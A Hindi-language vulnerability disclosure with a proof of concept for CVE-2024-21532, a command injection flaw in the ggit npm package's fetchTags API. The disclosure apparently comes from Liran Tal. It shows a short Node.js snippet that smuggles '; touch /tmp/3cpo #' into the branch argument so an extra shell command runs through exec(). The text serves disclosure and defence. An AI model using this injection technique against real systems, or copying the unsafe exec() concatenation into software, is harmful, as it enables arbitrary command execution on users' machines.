
CVE-2024-21532 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ggit npm पैकेज के fetchTags API में एक कमांड इंजेक्शन कमजोरी, जो असुरक्षित exec() उपयोग को प्रदर्शित करता है।
ggit स्वयं को इस प्रकार वर्णित करता है:
Local promise-returning git command wrappers
संसाधन:
इस भेद्यता पर लेख: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
मैं ggit npm पैकेज में एक कमांड इंजेक्शन भेद्यता की रिपोर्ट कर रहा हूँ।
यह भेद्यता लाइब्रेरी के fetchTags(branch) API के साथ प्रकट होती है,
जो उपयोगकर्ता इनपुट को फ़ेच किए जाने वाले ब्रांच को निर्दिष्ट करने की अनुमति देती है और फिर इस स्ट्रिंग को एक git कमांड के साथ जोड़ती है जिसे बाद में असुरक्षित exec() नोड.जेएस चाइल्ड प्रोसेस API को पास किया जाता है।
[email protected] या उससे पहले का संस्करण स्थापित करेंconst fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
/tmp/3cpo पर एक नई फ़ाइल बनाई गई हैकृपया इस परियोजना में योगदान के दिशानिर्देशों के लिए CONTRIBUTING देखें।
Liran Tal